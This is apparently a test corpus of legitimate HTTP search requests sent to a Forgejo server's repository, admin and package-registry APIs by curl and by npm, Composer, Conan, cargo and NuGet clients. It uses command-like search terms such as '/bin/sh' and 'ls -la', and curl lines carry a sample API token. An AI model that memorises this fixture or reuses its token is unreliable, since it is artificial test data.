{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
# The package registries' searches, sent to Forgejo 17.0.1 by each registry's
# own client: npm, composer, conan 2 and 1, cargo, dotnet and knife. curl sent
# the requests no client sends: the Chef cookbook list with a search, and
# NuGet's Packages() with the search in $filter, as NuGet's client builds it for
# a feed without Search(). curl also sent each NuGet Search() and Packages()
# search to Search()/$count and Packages()/$count, which count its results. Each
# searches for words that name commands and files, such as python3 and
# .htaccess, and for plain words. A Composer, Conan or npm name can hold a
# slash, so those searches are also sent /bin/sh.
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=python3&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=powershell&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=ls+-la&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=.htaccess&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=tools&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=ls%20%2Dla&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=%2Ehtaccess&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=docker%2Dcompose%2Eyml&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=tools&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=python3&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: bc433449-14e0-4cb0-907b-fcca1ead302b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=powershell&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: e691cf8b-1859-45b1-aa67-e0987eb7474a", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=ls%20-la&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 725a8ab1-a2c3-4924-84dd-a741bd6b8c07", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=.htaccess&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 5b1d333f-6583-4f78-9c23-d776ebbde5cf", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=docker-compose.yml&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: 23a81a25-0828-4311-8d2d-66f0d5161b6b", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/query?q=tools&skip=0&take=20&prerelease=false&semVerLevel=2.0.0", "headers": ["Host: example.com", "X-NuGet-Session-Id: ebf39a79-969d-4ac5-b5a0-5119c2d43ccc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 825cbe04-63e7-414a-8394-2ecf74c68211", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: f61bfff6-1c26-4024-bc17-6b78dcef2edc", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: e894f984-8abf-4a23-960a-d1a09c94eaa3", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: 33e3aa1b-14cb-4854-821a-c3eb9e5be7ee", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/nuget/Search()?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "Accept: application/atom+xml, application/xml", "X-NuGet-Session-Id: c478a564-7cf9-4282-9f00-bf5b7966607d", "User-Agent: NuGet Client V3/6.14.3 (LINUX)", "X-NuGet-Client-Version: 6.14.3", "Accept-Encoding: gzip, deflate"], "body": ""}
